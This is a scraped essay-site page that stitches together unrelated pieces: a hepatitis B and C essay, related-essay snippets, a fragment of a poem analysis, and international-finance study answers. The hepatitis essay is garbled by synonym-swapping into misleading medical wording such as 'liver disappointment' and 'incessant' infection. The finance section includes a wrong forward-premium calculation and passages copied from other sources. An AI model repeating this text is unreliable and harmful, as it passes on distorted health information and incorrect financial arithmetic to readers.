Hepatitis B And Its Effects - 2108 Words

Hepatitis B is a genuine liver disease created by the hepatitis B virus (HBV). For some individuals, hepatitis B contamination gets to be incessant, which means it keeps going over six months. Having unending hepatitis B builds your danger of creating liver disappointment, liver disease or cirrhosis which is a condition that causes lasting scarring of the liver. A great number of people contaminated with hepatitis B as grown-ups recuperate completely, regardless of the possibility that their signs and side effects are extreme. Babies and youngsters will probably build up a ceaseless hepatitis B contamination (MayoClinic). Hepatitis C contamination additionally expands the danger of creating liver disease just like hepatitis B. Until the 1980 s, hepatitis C virus (HCV) was known as non-A non-B hepatitis. The underlying disease may have side effects, yet a critical number of individuals don t have side effects. Not at all like hepatitis B, in which the ailment does not frequently get to be constant, have around 80% of individuals with hepatitis C built up an endless disease. As the invulnerable framework keeps on assaulting the infection after some time, fibrosis grows, in the end prompting cirrhosis. This unending aggravation can likewise prompt liver growth. This infection is spread through tainted blood, for example, with transfusions and IV drug misuse, however numerous individuals don t have evident danger components for the sickness. It is currently suggested thatShow MoreRelatedTaking a Look at Hepatitis B and C734 Words   |  3 PagesHepatitis B, C Hepatitis B virus (HBV) belongs to the Hepadnarvirus family. The virus particle consists a lipid envelope that contains surface antigens, HBsAg, a core composed of protein, viral DNA, and polymerase. Theses virions are approximately 40 nm in diameter, which are known as one of the smallest enveloped animal viruses. It infects hepatocytes, also known as Dana particles. The genome of HBV is circular, partly double stranded, and approximately 3,200 nucleotides long. Dr. Baruch BlumberdRead MoreDisease Surveillance And Health Statistics986 Words   |  4 PagesStatistics/ Fall 2015 Project 1/ Infectious Disease/Hepatitis B Salwa Rashid Hepatitis B is an infection caused by hepatitis B virus. It affects the liver and can lead to acute or chronic hepatitis B, carrier, or liver cancer. It is transmitted through body fluids such as blood and semen. Transmission is usually by sexual contact, sharing needles, injecting drugs, cutting injuries. About 2 billion around the world have been infected with hepatitis B virus and 250 million have chronic infectionRead MoreAn Informative Project About Hepatitis B Virus1064 Words   |  5 PagesThis Paper was written as an informative project about the Hepatitis B virus. The paper was written in a way that clearly discusses the specific causes, symptoms, treatments and prevention associated with the virus. The paper goes into details on ways to avoid contraction of this virus as well. The most common liver infection is Hepatitis B, which is a potentially life threatening infection that is caused by the Hepatitis B Virus. â€Å"Hepatitis B is a DNA virus belonging to the hepadnaviridae family ofRead MoreMechanism Of Infectious Disease Control1607 Words   |  7 Pagesmost developed countries mortality rates caused by infectious disease, have greatly decreased over the past century this is due in part to better treatment and early detection of new diseases. In developing countries diseases are a major problem that effect both economy and the general health of the countries. The major way of prevent is early detecting to stop outbreaks before they spread.(2) Infections disease are caused by pathogenic such as bacteria, viruses, and parasites, all of which can be spreadRead MoreHepatitis B951 Words   |  4 PagesPage 2 Hepatitis B is a potentially life threatening liver infection caused by the virus HBV. A Hepatitis B infection could potentially become a chronic disease for some people because they run the risk of developing liver failure, cirrhosis of the liver or liver cancer if precautions are not taken. Cirrhosis causes permanent scarring to the liver. Some adults that have become infected with Hepatitis B do fully recover even if their symptoms are relentless. Symptoms can be mild toRead MoreThe Importance Of Sexually Transmitted Diseases1430 Words   |  6 Pagespresented is hepatitis. The three most common types of hepatitis, A, B, and C, are caused by viruses. Hepatitis means the liver of the body is inflamed. The inflammation or swelling can be caused by germs, some kinds of medications or diseases, heavy alcohol use and viruses. All three of these types of hepatitis can all be acute (sudden onset, sharp severity, short duration) but hepatitis B and C can turn into chronic hea lth conditions causing long term health problems. Hepatitis A spreads throughRead MoreHepatitis C And Its Effects On The Human Body1501 Words   |  7 PagesHepatitis is a complicated illness that affects many people throughout the world. Since its discovery, we have come to identify that hepatitis comes in various forms. Most people have a deeper awareness of the Hepatitis A or B disease because we have been educated throughout the years of its effects on the human body. There is another hepatitis virus called Hepatitis C which is a relatively new disease that many people are unfamiliar with. This disease is highly infectious if the proper precautionsRead MoreHepatitis C : An Infectious Disease1619 Words   |  7 PagesHepatitis C is an infectious liver disease caused by the hepatitis C virus, or HCV. The virus is transmitted through bodily fluids and it has been estimated by the U.S. Food and Drug Administration that between 170 and 200 million people are infected worldwide, a nd 3 to 5 million people are infected in the U.S., the epidemic is far more widespread in Africa and central Asia. The disease kills approximately 350,000 people a year worldwide and 15,000 people a year in the U.S. The disease can be asymptomaticRead MoreEpidemiology Hepatitis B1639 Words   |  7 PagesEpidemiology of Hepatitis B Hepatitis B is a disease that affects many people worldwide and can cause serious and potentially fatal complications. This paper will provide an overview of this disease, including demographic information, while discussing contributing determinants of health, the implications of the epidemiological triangle as it relates to the Hepatitis B Virus (HBV), the role of the community health nurse, as well as identify a national organization that addresses the disease and howRead MoreHepatitis C And C. C1319 Words   |  6 PagesWhen a doctor uses the term Hepatitis C or HCV, what comes to mind? Many people have little to no knowledge of what it is. Is it deadly? Is there a cure? Is it a virus or disease? There are many questions that enter the mind because there are many concerns associated with an unknown illness. Several people wonder if the virus is similar to hepatitis A or B because there has been education throughout the years that provides more awareness surrounding the two known viruses, but it is discovered there

Analysis Of The Poem This Lunar Beauty Essay - 1774 Words

W.H. Auden’s â€Å"This Lunar Beauty† can be read as a poem as an enigmatic love that baffles the speaker, as he attempts to understand the complexity of the lunar beauty. However, Auden lived during the early 1900s and identified himself as a gay man, though he was married, briefly, to a woman. Understanding Auden’s biographical lifestyle can lead one to read â€Å"This Lunar Beauty† under a queer lens. Although the queerness of the poem is not directly stated; the structure and language of the poem lead â€Å"This Lunar Beauty† to be interpreted as a gay relationship that is hidden during the day and is able to come forth during the night when both the speaker and the lunar beauty are able to be their true selves. When reading Auden’s â€Å"This Lunar Beauty† under a queer lens, it is imperative to note how Auden plays with the passage of time and in turn, how the difference between day and night lead the poem to undergo a queer inte rpretation. The â€Å"beauty† that the speaker finds himself captivated by is surrounded by darkness. Particularly, the speaker personifies this love as â€Å"lunar,† as in, it is not found during the day light hours. By characterizing the love as lunar, not only does it relay to the audience that this love the speaker has found is strictly found during the darkness, but also that this love is cyclic in nature, similar to the moon’s cycles. The image of the moon is striking and leads to an interpretation of the poem that can be seen as a queer poem. The lunar beauty isShow MoreRelatedKubla Khan and Its Relation to Romanticism2675 Words   |  11 Pageshave been planning a two hundred to three hundred line poem before he got interrupted by a man from Porlock, after which he had forgotten nearly all of his dream. This may have been merely an excuse, and the poem was scorned at the time for having no poetic value, one critic even going so far as to call it more a musical composition than a poem. This is partly true, as the language seems to strive for an aural beauty more than a literary beauty, although it accomplishes both. Like many great artistsRead MoreA Picatrix Miscellany52019 Words   |  209 PagesSage) of al-Majriti, Maslamati ibn Ahmad II. Summary of the Contents of the Picatrix III. Excerpt from a Lecture on Alchemy by Terence McKenna On the Moon and the Lunar Mansions IV. Extracts on the Moon V. The Mansions of the Moon: â€Å"On the Creation, Proportion and Composition of the Heavens for the Fashioning of Images† VI. The Picatrix: Lunar Mansions in Western Astrology VII. W. B. Yeats and â€Å"A Vision:† The Arab Mansions of the Moon On Ritual and Talismans Picatrix Astrological Magic Aphorisms ExtractsRead MoreLogical Reasoning189930 Words   |  760 Pagesupdated: April 26, 2016 Logical Reasoning Bradley H. Dowden Philosophy Department California State University Sacramento Sacramento, CA 95819 USA ii iii Preface Copyright  © 2011-14 by Bradley H. Dowden This book Logical Reasoning by Bradley H. Dowden is licensed under a Creative Commons AttributionNonCommercial-NoDerivs 3.0 Unported License. That is, you are free to share, copy, distribute, store, and transmit all or any part of the work under the following conditions:

International Finance Study Notes Free Essays

1) Market seeker design strategy focuses on current market, and current consumer’s needs for quick return on investment. For example US automobile firms manufacturing in Europe for local consumption are an example of market-seeking motivation. 2) Raw Material seekers extract unfinished goods used in the manufacture of a product. We will write a custom essay sample on International Finance: Study Notes or any similar topic only for you Order Now For example, a steelmaker uses iron ore and other metals in producing steel. A publishing company uses paper and ink to create books, newspapers, and magazines. Raw materials are carried on a company’s balance sheet as inventory in the current assets section. 3) Political safety seekers acquire or establish new operations in countries that are considered unlikely to expropriate or interfere with private enterprise. For example, Hong Kong firms unvested heavily in the United States, United Kingdom, Canada, and Australia in anticipation of the consequences of China’s 1997 takeover of the British colony. ) Production Efficiency seekers produce in countries where one or more of the factors of production are underpriced relative to their productivity. Labour-intensive production of electronic components in Taiwan, Malaysia, and Mexico is an example of this motivation. 5) Knowledge seekers operate in foreign countries to gain access to technology or managerial expertise. An example, German, Dutch, and Japanese firms have purchased US located electronics firms for their technology. Source: Investopedia Question 2: Political risk is a type of risk faced by investors, corporations, and governments. It is a risk that can be understood and managed with reasoned foresight and investment. Broadly, political risk refers to the complications businesses and governments may face as a result of what are commonly referred to as political decisions—or â€Å"any political change that alters the expected outcome and value of a given economic action by changing the probability of achieving business objectives. †. Political risk faced by firms can be defined as â€Å"the risk of a strategic, financial, or personnel loss for a firm because of such nonmarket factors as macroeconomic and social policies (fiscal, monetary, trade, investment, industrial, income, labour, and developmental), or events related to political instability (terrorism, riots, coups, civil war, and insurrection). †Portfolio investors may face similar financial losses. Moreover, governments may face complications in their ability to execute diplomatic, military or other initiatives as a result of political risk. A low level of political risk in a given country does not necessarily correspond to a high degree of political freedom. Indeed, some of the more stable states are also the most authoritarian. Long-term assessments of political risk must account for the danger that a politically oppressive environment is only stable as long as top-down control is maintained and citizens prevented from a free exchange of ideas and goods with the outside world. Understanding risk as part probability and part impact provides insight into political risk. For a business, the implication for political risk is that there is a measure of likelihood that political events may complicate its pursuit of earnings through direct impacts (such as taxes or fees) or indirect impacts (such as opportunity cost forgone). As a result, political risk is similar to an expected value such that the likelihood of a political event occurring may reduce the desirability of that investment by reducing its anticipated returns. There are both macro- and micro-level political risks. Macro-level political risks have similar impacts across all foreign actors in a given location. While these are included in country risk analysis, it would be incorrect to equate macro-level political risk analysis with country risk as country risk only looks at national-level risks and also includes financial and economic risks. Micro-level risks focus on sector, firm, or project specific risk. Political risks are classified as follows: 1) Blocked Fund – Term for â€Å"reserving† funds by one bank for the benefit of another bank. Blocking of funds is an often used banking procedure to ensure that the same funds are not used twice. Often more beneficial to an investor than a bank guarantee. ) Ownership – Is the state or fact of exclusive rights and control over property, which may be an object, land/real estate or intellectual property. Ownership involves multiple rights, collectively referred to as title, which may be separated and held by different parties 3) Religion Heritage – Is the faith in which a person was predominantly raised or the faith a person’s parents or previous generations have traditionally held. 4)Terrorism – Is the systematic use of terror especially as a means of coercion. No universally agreed, legally binding, criminal law definition of terrorism currently exists. Common definitions of terrorism refer only to those violent acts which are intended to create fear (terror), are perpetrated for a religious, political or ideological goal, deliberately target or disregard the safety of non-combatants (civilians), and are committed by non-government agencies. Some definitions also include acts of unlawful violence and war. The use of similar tactics by criminal organizations for protection rackets or to enforce a code of silence is usually not labeled terrorism though these same actions may be labeled terrorism when done by a politically motivated group. The word â€Å"terrorism† is politically and emotionally charged, and this greatly compounds the difficulty of providing a precise definition. Studies have found over 100 definitions of â€Å"terrorism†. The concept of terrorism may itself be controversial as it is often used by state authorities to delegitimize political or other opponents, and potentially legitimize the state’s own use of armed force against opponents (such use of force may itself be described as â€Å"terror† by opponents of the state). Terrorism has been practiced by a broad array of political organizations for furthering their objectives. It has been practiced by both right-wing and left-wing political parties, nationalistic groups, religious groups, revolutionaries, and ruling governments. An abiding characteristic is the indiscriminate use of violence against noncombatants for the purpose of gaining publicity for a group, cause, or individual. 5)Protectionism is the economic policy of restraining trade between states through methods such as tariffs on imported goods, restrictive quotas, and a variety of other government regulations designed to discourage imports and prevent foreign take-over of domestic markets and companies. This policy contrasts with free trade, where government barriers to trade and movement of capital are kept to a minimum. In recent years, it has become closely aligned with anti-globalization. The term is mostly used in the context of economics, where protectionism refers to policies or doctrines which protect businesses and workers within a country by restricting or regulating trade with foreign nations. Source: Wikipedia Question 3: Hedging means reducing or controlling risk. This is done by taking a position in the futures market that is opposite to the one in the physical market with the objective of reducing or limiting risks associated with price changes. Hedging is a two-step process. A gain or loss in the cash position due to changes in price levels will be countered by changes in the value of a futures position. For instance, a wheat farmer can sell wheat futures to protect the value of his crop prior to harvest. If there is a fall in price, the loss in the cash market position will be countered by a gain in futures position. Hedging is a mechanism to reduce the risk of adverse price movements of an asset. It’s an investment undertaken to reduce the risk of adverse movements of the underlying assets. We all agree with the fact that in investment risks and returns are the two sides of a coin. The underlying asset can be a security, currency, debt instruments or a commodity like crude oil. A Perfect Hedge is an offsetting investment which completely eliminates the risk of the price movements. However, this is practically not possible, as all investments do carry a risk. Reason for hedging Participating in hedging has reasons that are connected with price risk. Typically, traders take part in hedging so they can more effectively plan on set pricing (often employing the hedge ratio). Considering of course, gold or silver futures for instance as a hedge against inflation and falling currencies. Farmers, growers and producers alike near the source hedge to get a lock on pricing at some appointed time. Often they buy futures basically in order to protect against price drops. Producers, manufacturers and large consumers are commonly in the practice of hedging but rather to get a better handle on their cash flow or finished product/service costs. Surely in commodities that are known to be volatile in nature, where prices need a stabilization factor. Example : Where precious metals are used as raw materials. Trucking companies, the airlines and transportation companies all hedge to lock in lower prices. Electricity generation, in its used of natural gas also provides ample reason for hedging. Larger food companies needing the ingredients of grains and wheat flour for breads, cereals and baked goods (not to mention coffee and cocoa) and hedge for price protection. When successful it becomes an integral part of delivering their product to consumers. Some companies even hedge so that consumers may not be so hard pressed in the event of price climbs, perhaps seen as unreasonable by consumers. Reason against hedging The management of financial risk is difficult and conceptually demanding. Probably the most difficult issue is the actual recognition of where and how much financial risk is being incurred. Example: An Australian metal producer who borrows in USA as a partial hedge because their product is priced in USD in world markets. The problem with this â€Å"hedge† is that it actually would increase risk. The AUD is a commodity currency and when metal prices fall the AUD will generally be weaker. This means that our metal exporter finds that their USD loan is costing those more in AUD terms at the same time as revenue is collapsing. The reason for the problem is that the company failed to recognize the correlation between metal prices and the AUD exchange rate. Source: wikipedia Question 4: A balance of payments (BOP) sheet is an accounting record of all monetary transactions between a country and the rest of the world. These transactions include payments for the country’s exports and imports of goods, services, and financial capital, as well as financial transfers. The BOP summarizes international transactions for a specific period, usually a year, and is prepared in a single currency, typically the domestic currency for the country concerned. Sources of funds for a nation, such as exports or the receipts of loans and investments, are recorded as positive or surplus tems. Uses of funds, such as for imports or to invest in foreign countries, are recorded as a negative or deficit item. When all components of the BOP sheet are included it must balance – that is, it must sum to zero – there can be no overall surplus or deficit. For example, if a country is importing more than it exports, its trade balance will be in deficit, but the shortfall will have to be counter balanced in other ways – such as by funds earned from its foreign investments, by running down reserves or by receiving loans from other countries. While the overall BOP sheet will always balance when all types of payments are included, imbalances are possible on individual elements of the BOP, such as the current account. This can result in surplus countries accumulating hoards of wealth, while deficit nations become increasingly indebted. Historically there have been different approaches to the question of how to correct imbalances and debate on whether they are something governments should be concerned about. Since 1974, the two principal divisions on the BOP have been the current account and the capital account. The current account shows the net amount a country is earning if it is in surplus, or spending if it is in deficit. It is the sum of the balance of trade (net earnings on exports – payments for imports) , factor income (earnings on foreign investments – payments made to foreign investors) and cash transfers. Its called the current account as it covers transactions in the â€Å"here and now† – those that don’t give rise to future claims. The capital account records the net change in ownership of foreign assets. It includes the reserve account (the international operations of a nation’s central bank), along with loans and investments between the country and the rest of world (but not the future regular repayments / dividends that the loans and investments yield, those are earnings and will be recorded in the current account). Expressed with the standard meaning for the capital account, the BOP identity is: [pic] The balancing item is simply an amount that accounts for any statistical errors and assures that the current and capital accounts sum to zero. At high level, by the principles of double entry accounting, an entry in the current account gives rise to an entry in the capital account, and in aggregate the two accounts should balance. A balance isn’t always reflected in reported figures, which might, for example, report a surplus for both accounts, but when this happens it always means something has been missed—most commonly, the operations of the country’s central bank. An actual balance sheet will typically have numerous sub headings under the principal divisions. For example, entries under Current account might include: †¢ Trade – buying and selling of goods and services Exports – a credit entry o Imports – a debit entry ? Trade balance – the sum of Exports and Imports †¢ Factor income – repayments and dividends from loans and investments o Factor earnings – a credit entry o Factor payments – a debit entry ? Factor income balance – the sum of earnings and payments. Especially in older balance sheets, a common division was between visible and invisible entries. Visible trade recorded imports and exports of physical goods (entries for trade in physical goods excluding services is now often called the merchandise balance). Invisible trade would record international buying and selling of services, and sometimes would be grouped with transfer and factor income as invisible earnings. In the case of any particular country, a balance reflecting the ratio of monetary receipts from foreign countries to total payments to foreign countries, as computed for a year, quarter, or other period of time. A favorable balance of payments results when receipts exceed payments, whereas an unfavorable balance of payments, or deficit, results when the reverse is true. The balance of payments reflects the diverse economic relations that exist between countries and lead to various international payments; these relations include foreign trade and the export of capital. The balance of payments also reflects international relations in the political, scientific, technological, and cultural spheres; this is seen, for example, in expenditures that arise from the maintenance of representations in foreign countries, from trips by official delegations and tourists, from the acquisition of patents and licenses, and from private transfers. In developed capitalist countries, the chief principals in international economic relations are private companies, including those engaged in commerce, industry, banking, insurance, and transport. The balance of payments forms as the spontaneous result of many isolated transactions an operation, for which no accurate account can be maintained. The balance of payments tables compiled in bourgeois states therefore represent only an approximate evaluation of receipts and payments. The item in the balance of payments tables that is called errors and omissions provides particular evidence of this fact. The balance of payments encompasses only the payments actually made during a given period. By contrast, the balance of international indebtedness, or balance of claims and liabilities, is the ratio of the foreign claims of a given country to the foreign liabilities of that country. The balance of payments in capitalist and developing nations includes scores of diverse items, which usually are grouped in the following categories, as recommended by the International Monetary Fund: foreign trade (exports and imports of commodities), services (including transport, tourism, insurance, government expenditures, banking services, and income from investments), unilateral transfers, the movement of long-term capital, the movement of short-term capital, change in the gold and currency reserves, and errors and omissions. The first three categories constitute the current account balance of payments, the next two are the balance of capital movements, and the last two are the balancing items. Analysis of the balance of payments is very important in describing a country’s place in the system of international economic relations, especially with respect to world trade. When receipts from the export of commodities consistently exceed import payments, this generally points to a country’s strength in world markets; this was the case with Japan and the Federal Republic of Germany in the late 1960’s and early 1970’s. On the other hand, import payments that exceed export earnings are an indication of economic difficulties related to the deficit of the balance of payments; this was the position of the USA in these same years. An important item in the current account balance of payments concerns the receipts and payments for foreign investments. This item reflects profit received from abroad and paid abroad, in the form of dividends, interest, and so forth. The profit represents a source of enormous income for capital-exporting imperialist states with large capital investments abroad, either in the form of direct investments or in the form of loans and credits. In 1971, for example, the income of Great Britain from foreign investments was ? 667 million, more than double the positive trade balance. The profit from foreign capital investments repatriated to the United States amounted to $10. 7 billion in 1971 and was the second most important item of receipts in the nation’s balance of payments, after the income from export commodities. This attests to the role of the United States as the center of financial exploitation in the capitalist world. The overwhelming majority of developing countries are importers of capital, and payments on foreign investments are one of the chief reasons for the overall balances of payments deficits. The payments on foreign investments absorb an ever greater portion of the export earnings of the developing countries. Foreign military expenditures are also included in the current account balance of payments. These expenditures are due to imperialist states’ policy of aggression and the maintenance of numerous military bases abroad. This is one of the most important reasons for the deficit in the balance of payments and the ensuing monetary crises. The enormous rise in state military and political expenditures abroad underlies the chronic deficit in the US balance of payments. Expenditures from the early 1960’s through the early 1970’s totaled more than $100 billion, some 40 percent more than the surplus for all other items in the USA’s balance of payments. Capital movement as reflected in the balance of payments is primarily in the form of the movement of long-term capital. Long-term capital movement includes direct investments, which provide for full ownership of enterprises or control of their operations; portfolio investments, made in the form of investments in overseas securities; and loans, credits, and subsidies. The export of capital—the outflow of capital from a given country—is reflected as an expenditure in the balance of payments; the import of capital, on the other hand, represents an influx of funds and is included as income. The export of capital, for example, to the developing countries, causes a flow of profit from the countries where the foreign capital has been placed; this ultimately has a negative effect on the balance of payments of the countries receiving foreign capital. At the same time, increased export of capital sometimes directly worsens the balance of payments of the imperialist states. The export of capital and military expenditures are precisely the reasons for the balance of payments deficit in the USA. The movement of short-term capital is related to the way money on deposit in foreign banks is constantly transferred between countries. These transfers are to a significant degree related to speculation with respect to change in exchange rates or interest on deposits. The indicator of a surplus or deficit of the balance of payments is important in describing the economic situation of a country. In capitalist nations, several methods are used for determining this balance; in the USA, for example, three methods are employed. The balancing indicator is most often the balance of the current transactions and the balance of the change in the gold and currency reserves. Various methods are used to regulate the balance of payments. One basic method involves the export of gold when there is a deficit balance and the import of gold when there is a surplus balance. The chronic balance of payments deficit in the USA in the 1960’s and early 1970’s led to a significant outflow of gold and a reduction in US gold reserves. The balance of payments deficit may also be covered by increasing short-term or long-term debts to creditor nations, which accumulate the corresponding obligations of their debtors. Because the gold reserves of the capitalist and developing countries are limited, foreign credits and loans are becoming the basic means of covering the balance of payments deficit; this is especially true in the case of developing countries. To improve the balance of payments situation, capitalist states frequently resort to a currency devaluation, which helps increase export receipts from tourism, the import of foreign capital, and so forth. The balance of payments situation of a capitalist country is a basic factor in determining the state of that country’s currency. For example, the crisis of the US dollar basically resulted from a sharp deterioration in the US balance of payments, which had a deficit of almost $10 billion in 1972. The US government was forced to devalue the dollar in 1971 and 1973 because of the drop in gold and currency reserves and the increase in foreign debts, both of which were caused by the chronic balance of payments deficit. In socialist countries, foreign economic relations are based on the state monopoly of foreign trade and the foreign-exchange monopoly. The balance of payments is planned as a component part of a general plan embracing the national economy, foreign trade, and currency. Payments of the member countries of the Council for Mutual Economic Assistance (COMECON) are mutually balanced through long-term planning of trade and payments between the countries; payments in transfer rubles are used. Because of the foreign-exchange monopoly, the balance of payments does not influence the situation of the monetary units of the socialist countries. In relations with the capitalist states, the Soviet Union and other socialist countries avoid balance of payments deficits through the planned use of foreign-exchange and gold resources and anticipated foreign-exchange receipts. Source: Finance Asia Question 5: Annualized  Ã‚  Ã‚   =  Ã‚     Ã‚  Ã‚  Ã‚  Ã‚  Forward Price – Spot Price  Ã‚  x  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  12  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚     Ã‚  Ã‚  Ã‚  x  100% Forward Premium  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚     Ã‚   Spot Price  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  # of months   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   forward Direct Quotation represents the value of a foreign currency in dollars (number of dollars per currency). In this case, the Japanese Yen is taken as the local currency and USD is taken as the foreign currency. Direct = ((120 -140) / 140)*(12 / 6)*100 = – 28. 5714% forward discount Indirect = 1 / Direct = 1/-28. 5714% = 3. 5% forward discount Question 6: A  type of diagram  where the curve falls at the outset and eventually rises to a point higher than the starting point, suggesting the letter J. While a J-curve can apply to data  in a variety of fields, such as medicine and political science, the J-curve effect is most  notable in both economics and private equity funds; after a certain policy or investment is made, an initial loss is followed by a significant gain. An example  of the  J-curve effect  is seen in economics  when a country’s trade balance initially  worsens following a devaluation or depreciation of its currency. The higher exchange rate will at first correspond to more costly imports and less valuable exports, leading to a bigger initial deficit or a maller surplus. Due to the competitive, relatively low-priced exports, however, a country’s exports will start to increase. Local consumers will also purchase less of the more expensive imports and focus on local goods. The trade balance eventually improves to better levels  compared to before devaluation. In private equity funds, the J-curve effect occurs when  funds experience ne gative returns for the first several years. This is a common experience, as the early years of the fund include capital drawdown and an investment portfolio that has yet to mature. If the fund is well managed, it will eventually recover from its initial losses and the returns will form a J-curve: losses in the beginning dip down below the initial value, and later returns show profits above the initial level. The theory of the J-curve is an explanation for the J-like pattern of change in a country’s trade balance in response to a sudden or substantial depreciation (or devaluation) of the currency. Consider the adjoining diagram depicting two variables measured, hypothetically, over some period of time; the dollar/foreign exchange rate, E$/*, and the US current account balance, CA = EX – IM. The exchange rate is meant to represent the average value of the dollar against all other trading country currencies and would correspond to a dollar value index which is often constructed and reported. Since the units of these two data series would be in very different scales, we imagine the exchange rate is measured along the left axis, while the CA balance is measured in different units on the right-hand axis. With appropriately chosen scales we can line up the two series next to each other to see whether changes in the exchange rate seem to correlate with positive or negative changes in the CA balance. Source: Investopedia Question 7: Tax is to impose a financial charge or other levy upon a taxpayer (an individual or legal entity) by a state or the functional equivalent of a state such that failure to pay is punishable by law. Taxes are also imposed by many subnational entities. Taxes consist of direct tax or indirect tax, and may be paid in money or as its labor equivalent (often but not always unpaid labour). A tax may be defined as a â€Å"pecuniary burden laid upon individuals or property owners to support the government, a payment exacted y legislative authority. † A tax â€Å"is not a voluntary payment or donation, but an enforced contribution, exacted pursuant to legislative authority† and is â€Å"any contribution imposed by government whether under the name of toll, tribute, tallage, gabel, impost, duty, custom, excise, subsidy, aid, supply, or other name. † The legal definition and the economic definition of taxes differ in that economists do not cons ider many transfers to governments to be taxes. For example, some transfers to the public sector are comparable to prices. Examples include tuition at public universities and fees for utilities provided by local governments. Governments also obtain resources by creating money (e. g. , printing bills and minting coins), through voluntary gifts (e. g. , contributions to public universities and museums), by imposing penalties (e. g. , traffic fines), by borrowing, and by confiscating wealth. From the view of economists, a tax is a non-penal, yet compulsory transfer of resources from the private to the public sector levied on a basis of predetermined criteria and without reference to specific benefit received. In modern taxation systems, taxes are levied in money; but, in-kind and corvee taxation is characteristic of traditional or pre-capitalist states and their functional equivalents. The method of taxation and the government expenditure of taxes raised is often highly debated in politics and economics. Tax collection is performed by a government agency such as Canada Revenue Agency, the Internal Revenue Service (IRS) in the United States, or Her Majesty’s Revenue and Customs (HMRC) in the UK. When taxes are not fully paid, civil penalties (such as fines or forfeiture) or criminal penalties (such as incarceration) may be imposed on the non-paying entity or individual. Taxes are sometimes referred to as â€Å"direct taxes† or â€Å"indirect taxes†. The meaning of these terms can vary in different contexts, which can sometimes lead to confusion. An economic definition, by Atkinson, states that â€Å"†¦ direct taxes may be adjusted to the individual characteristics of the taxpayer, whereas indirect taxes are levied on transactions irrespective of the circumstances of buyer or seller. According to this definition, for example, income tax is â€Å"direct†, and sales tax is â€Å"indirect†. In law, the terms may have different meanings. In U. S. constitutional law, for instance, direct taxes refer to poll taxes and property taxes, which are based on simple existence or ownership. Indirect taxes are imposed on events, rights, privileges, and acti vities. Thus, a tax on the sale of property would be considered an indirect tax, whereas the tax on simply owning the property itself would be a direct tax. The distinction between direct and indirect taxation can be subtle but can be important under the law. The Advantages of Direct and Indirect Taxes Governments collect taxes by direct and indirect means. An example of a direct tax is payroll tax, where tax is deducted by an employer from an employee’s income, and paid directly to a collection agency, such as the Internal Revenue Service in the United States. An indirect tax is a tax which is not paid directly to the collection agency by the person paying the tax, but goes an intermediary, who then passes the tax to the collection agency. Sales taxes are examples of indirect taxes. Progressive Advantage of Direct Taxes One advantage of direct taxation is that it is easy to apply in a progressive manner. Progressive taxes are a fair way of generating revenue, because multiple rates of taxation can be applied, based on the ability of the tax payer to pay the tax, especially if tax rates increase marginally. For example, a government may apply income tax to earnings at a rate of 10 percent, for all income earned up to $20,000. Then it applies a rate of 15 percent to income over $20,000. A person earning more than $20,000 will pay tax at a rate of 10 percent on the first $20,000 earned, and only pays 15 percent on earnings over that amount. Progressive, marginal, direct taxation is therefore fair because higher earners bear a greater part of the tax burden, based on their ability to pay higher rates of tax. Transparency of Direct Taxation Direct taxes, which go directly by the person bearing the burden of the tax, are transparent taxes. For example, when an employer deducts taxes from the wages of an employee, the employee can see the amount of tax deducted, as it is included on his or her wage statement, or pay-slip. Self-employed tax payers can also see the amount of tax they need to pay to the government, hen they complete their tax returns. In a democracy, tax transparency means that governments have to justify taxes they impose to their voters, and tax-paying voters always aware of the tax burdens imposed on them by politicians. Environmental Benefits of Indirect Taxation Governments use Indirect taxes, such as taxes added to the price of goods and services, to modify the behaviour of individuals in order to help a chieve environmental goals. For example, the true price of gasoline, at point of delivery to the public is low. The price does not encourage people to reduce their use of gasoline by using public transport, or buying more fuel-efficient vehicles. If a government wishes to reduce the use of gasoline as part of an environmental protection goal, it can artificially inflate the price of gasoline to the consumer, by imposing a sales tax to increase the price. When a government imposes a high enough tax on gasoline, it results in a reduction of demand for gasoline, and thus aids the government in implementing its environmental policy. Source: Wikinvest Question 8: The Bretton Woods system was established in 1944 as the major capitalist powers initiated a program of national regulation aimed at containing the contradictions of the world economy and preventing the development of socialist revolution. Its demise in 1971 inaugurated a new stage, characterised by the development of globalised production and the domination of an international financial market. When the US pulled the rug from under the previous system it did so in order to maintain its position of global hegemony in the new economic order which was beginning to emerge. It managed to do so but at great cost. The free market program it has so strenuously promoted over the past 30 years has intensified all the contradictions of the capitalist mode of production. At the same time, starting with the unilateral decision of August 15, 1971, the basis for collaboration between the major capitalist powers has been narrowing. The combined impact of these two processes has created the conditions for major economic, social and political upheavals in the world capitalist economy in the period immediately ahead. Source: Wordiq Question 9: There are many factors that influence the exchange rate of US dollar. Generally speaking, there are mainly four reasons: first, the health condition and the rate of return for investment of the US economy, secondly, the balance of international payment in the US, thirdly, the level of interest rates in the US compared with those in other countries, and fourthly, the rate of inflation. The following might be the reason why it’s expected to continue tight throught to the basement floor: †¢ Massive budget and trade deficits. †¢ Ultra-low interest rates. (Zero on the short end. ) †¢ $59 trillion in unfunded liabilities for Social Security, Medicare and Medicaid. Bernanke conjuring extra trillions out of thin air to buy Treasuries and mortgage-back securities and patch various holes in the U. S. economy. There is no reason to 